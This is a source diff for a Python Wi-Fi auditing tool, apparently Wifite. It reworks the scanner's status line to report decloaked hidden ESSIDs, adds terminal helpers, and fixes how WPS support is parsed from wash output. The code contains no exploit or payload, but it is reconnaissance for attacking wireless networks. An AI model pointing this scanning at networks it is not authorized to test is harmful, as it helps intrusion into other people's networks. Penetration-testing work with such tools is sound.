@@ -23,6 +23,7 @@ class Scanner(object):
|
|||||||
self.targets = []
|
self.targets = []
|
||||||
self.target = None # Specific target (based on ESSID/BSSID)
|
self.target = None # Specific target (based on ESSID/BSSID)
|
||||||
|
|
||||||
|
Color.pl("")
|
||||||
# Loads airodump with interface/channel/etc from Configuration
|
# Loads airodump with interface/channel/etc from Configuration
|
||||||
with Airodump() as airodump:
|
with Airodump() as airodump:
|
||||||
try:
|
try:
|
||||||
@@ -48,11 +49,20 @@ class Scanner(object):
|
|||||||
client_count = sum(
|
client_count = sum(
|
||||||
[len(t.clients)
|
[len(t.clients)
|
||||||
for t in self.targets])
|
for t in self.targets])
|
||||||
Color.p(
|
outline = "\r{+} Scanning"
|
||||||
'\r{+} scanning, found' +
|
if airodump.decloaking:
|
||||||
' {G}%d{W} target(s),' % target_count +
|
outline += " & decloaking"
|
||||||
' {G}%d{W} clients.' % client_count +
|
outline += ". Found"
|
||||||
' {O}Ctrl+C{W} when ready')
|
outline += " {G}%d{W} target(s)," % target_count
|
||||||
|
outline += " {G}%d{W} client(s)." % client_count
|
||||||
|
outline += " {O}Ctrl+C{W} when ready "
|
||||||
|
decloaked = airodump.decloaked_targets
|
||||||
|
if len(decloaked) > 0:
|
||||||
|
outline += "(decloaked"
|
||||||
|
outline += " {C}%d{W} ESSIDs:" % len(decloaked)
|
||||||
|
outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
|
||||||
|
Color.clear_entire_line()
|
||||||
|
Color.p(outline)
|
||||||
sleep(1)
|
sleep(1)
|
||||||
except KeyboardInterrupt:
|
except KeyboardInterrupt:
|
||||||
pass
|
pass
|
||||||
@@ -117,6 +127,7 @@ class Scanner(object):
|
|||||||
Target.print_header()
|
Target.print_header()
|
||||||
for (index, target) in enumerate(self.targets):
|
for (index, target) in enumerate(self.targets):
|
||||||
index += 1
|
index += 1
|
||||||
|
Color.clear_entire_line()
|
||||||
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
|
Color.pl(' {G}%s %s' % (str(index).rjust(3), target))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
@@ -125,6 +136,12 @@ class Scanner(object):
|
|||||||
(rows, columns) = os.popen('stty size', 'r').read().split()
|
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||||
return int(rows)
|
return int(rows)
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_terminal_width():
|
||||||
|
import os
|
||||||
|
(rows, columns) = os.popen('stty size', 'r').read().split()
|
||||||
|
return int(columns)
|
||||||
|
|
||||||
def select_targets(self):
|
def select_targets(self):
|
||||||
''' Asks user to select target(s) '''
|
''' Asks user to select target(s) '''
|
||||||
|
|
||||||
@@ -138,6 +155,7 @@ class Scanner(object):
|
|||||||
+ " or you may have issues with your wifi card")
|
+ " or you may have issues with your wifi card")
|
||||||
|
|
||||||
self.print_targets()
|
self.print_targets()
|
||||||
|
Color.clear_entire_line()
|
||||||
input_str = '{+} select target(s)'
|
input_str = '{+} select target(s)'
|
||||||
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
input_str += ' ({G}1-%d{W})' % len(self.targets)
|
||||||
input_str += ' separated by commas, dashes'
|
input_str += ' separated by commas, dashes'
|
||||||
|
|||||||
@@ -103,10 +103,12 @@ class Target(object):
|
|||||||
power = Color.s('{%s}%s' % (color, power))
|
power = Color.s('{%s}%s' % (color, power))
|
||||||
|
|
||||||
wps = Color.s('{O} n/a')
|
wps = Color.s('{O} n/a')
|
||||||
if self.wps:
|
if self.wps == True:
|
||||||
wps = Color.s('{G} yes')
|
wps = Color.s('{G} yes')
|
||||||
else:
|
elif self.wps == False:
|
||||||
wps = Color.s('{R} no')
|
wps = Color.s('{R} no')
|
||||||
|
else:
|
||||||
|
wps = Color.s('{O} n/a')
|
||||||
|
|
||||||
clients = ' '
|
clients = ' '
|
||||||
if len(self.clients) == 1:
|
if len(self.clients) == 1:
|
||||||
|
|||||||
23
py/Wash.py
23
py/Wash.py
@@ -2,9 +2,11 @@
|
|||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
from Process import Process
|
from Process import Process
|
||||||
|
import re
|
||||||
|
|
||||||
class Wash(object):
|
class Wash(object):
|
||||||
''' Wrapper for Wash program. '''
|
''' Wrapper for Wash program. '''
|
||||||
|
BSSID_REGEX = re.compile("([A-F0-9\:]{17})", re.IGNORECASE)
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
pass
|
pass
|
||||||
@@ -30,24 +32,17 @@ class Wash(object):
|
|||||||
|
|
||||||
command = [
|
command = [
|
||||||
'wash',
|
'wash',
|
||||||
'-f', capfile, # Path to cap file
|
'-f', capfile # Path to cap file
|
||||||
'-C' # Ignore Frame Check Sum errors
|
|
||||||
]
|
]
|
||||||
p = Process(command)
|
p = Process(command)
|
||||||
for line in p.stdout().split('\n'):
|
|
||||||
# Ignore irrelevant lines
|
|
||||||
if line.strip() == '' or line.startswith('Scanning for'):
|
|
||||||
continue
|
|
||||||
bssid = line.split(' ')[0]
|
|
||||||
for t in targets:
|
|
||||||
if t.bssid.lower() == bssid.lower():
|
|
||||||
# Update the WPS flag
|
|
||||||
t.wps = True
|
|
||||||
|
|
||||||
# Mark other targets as "no" wps support
|
p.wait()
|
||||||
|
if p.poll() != 0:
|
||||||
|
return
|
||||||
|
|
||||||
|
bssids = [bssid.upper() for bssid in Wash.BSSID_REGEX.findall(p.stdout())]
|
||||||
for t in targets:
|
for t in targets:
|
||||||
if t.wps: continue
|
t.wps = t.bssid.upper() in bssids
|
||||||
t.wps = False
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
|
|||||||
@@ -4,7 +4,7 @@
|
|||||||
import sys
|
import sys
|
||||||
sys.path.insert(0, '..')
|
sys.path.insert(0, '..')
|
||||||
|
|
||||||
from Handshake import Handshake
|
from py.Handshake import Handshake
|
||||||
|
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
@@ -20,7 +20,6 @@ class TestHandshake(unittest.TestCase):
|
|||||||
|
|
||||||
def testAnalyze(self):
|
def testAnalyze(self):
|
||||||
hs_file = self.getFile('handshake_exists.cap')
|
hs_file = self.getFile('handshake_exists.cap')
|
||||||
print hs_file
|
|
||||||
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
|
hs = Handshake(hs_file, bssid='A4:2B:8C:16:6B:3A')
|
||||||
try:
|
try:
|
||||||
hs.analyze()
|
hs.analyze()
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
#!/usr/bin/python2.7
|
#!/usr/bin/python2.7
|
||||||
# -*- coding: utf-8 -*-
|
# -*- coding: utf-8 -*-
|
||||||
|
|
||||||
from Airodump import Airodump
|
from py.Airodump import Airodump
|
||||||
|
|
||||||
import unittest
|
import unittest
|
||||||
|
|
||||||
|
|||||||
@@ -1,2 +1,2 @@
|
|||||||
#!/bin/sh
|
#!/bin/sh
|
||||||
python2.7 -m unittest discover py
|
python2.7 -m unittest discover py/tests -v
|
||||||
|
|||||||
Reference in New Issue
Block a user